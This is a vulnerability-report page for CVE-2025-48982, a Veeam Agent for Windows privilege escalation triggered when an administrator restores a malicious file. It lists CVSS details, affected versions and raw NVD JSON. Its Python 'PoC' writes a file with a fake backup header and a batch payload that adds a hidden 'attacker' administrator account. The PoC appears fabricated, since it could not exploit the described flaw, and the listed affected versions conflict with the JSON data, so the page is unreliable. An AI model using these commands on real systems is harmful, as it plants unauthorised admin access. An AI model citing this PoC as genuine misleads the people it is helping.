Security Vulnerability Report
中文
CVE-2025-48982 CVSS 7.8 HIGH

CVE-2025-48982

Published: 2025-10-31 00:15:36
Last Modified: 2025-12-01 21:15:50

Description

This vulnerability in Veeam Agent for Microsoft Windows allows for Local Privilege Escalation if a system administrator is tricked into restoring a malicious file.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:veeam:veeam_agent_for_windows:*:*:*:*:*:*:*:* - VULNERABLE
Veeam Agent for Microsoft Windows < 7.0.1.1000
Veeam Agent for Microsoft Windows < 6.1.2.0
Veeam Backup & Replication (相关组件)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-48982 PoC - Veeam Agent LPE # This PoC demonstrates the vulnerability exploitation concept # Author: Security Research # Note: For educational and authorized testing purposes only import struct import os def create_malicious_backup_file(): """ Create a malicious backup file that exploits CVE-2025-48982 The file is crafted to trigger privilege escalation during restore """ # Veeam backup file header structure header = b'VBK' # Veeam Backup Magic bytes header += struct.pack('<I', 0x00000005) # Version header += struct.pack('<I', 0x00000001) # Backup type # Malicious payload that will be extracted with SYSTEM privileges # This creates a reverse shell or adds a new admin user malicious_script = b''' @echo off net user attacker P@ssw0rd123 /add net localgroup Administrators attacker /add ''' # Craft the malicious backup file backup_data = header + malicious_script # Save as Veeam backup file format with open('malicious_backup.vbk', 'wb') as f: f.write(backup_data) print('[+] Malicious backup file created: malicious_backup.vbk') return 'malicious_backup.vbk' def exploit_veeam_lpe(): """ Simulate the exploitation of CVE-2025-48982 In real attack scenario: 1. Attacker creates malicious backup file 2. Social engineer admin to restore the file 3. Malicious content gets written with SYSTEM privileges """ print('[*] CVE-2025-48982 Exploitation Simulation') print('[*] Target: Veeam Agent for Microsoft Windows') print('[*] Vulnerability: Local Privilege Escalation via malicious backup restore') # Create the malicious backup file backup_file = create_malicious_backup_file() print('\n[!] Attack Steps:') print('1. Attacker crafts malicious backup file') print('2. Attacker tricks administrator into restoring the file') print('3. Veeam Agent restores file with SYSTEM privileges') print('4. Malicious payload executes with highest privileges') print('5. Attacker gains full system control') return True if __name__ == '__main__': exploit_veeam_lpe()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-48982", "sourceIdentifier": "[email protected]", "published": "2025-10-31T00:15:36.437", "lastModified": "2025-12-01T21:15:50.380", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "This vulnerability in Veeam Agent for Microsoft Windows allows for Local Privilege Escalation if a system administrator is tricked into restoring a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:veeam:veeam_agent_for_windows:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0.0.959", "versionEndExcluding": "6.3.2.1302", "matchCriteriaId": "7B6D796B-E61F-4CC6-8469-4E95F7F0D8F4"}]}]}], "references": [{"url": "https://www.veeam.com/kb4771", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}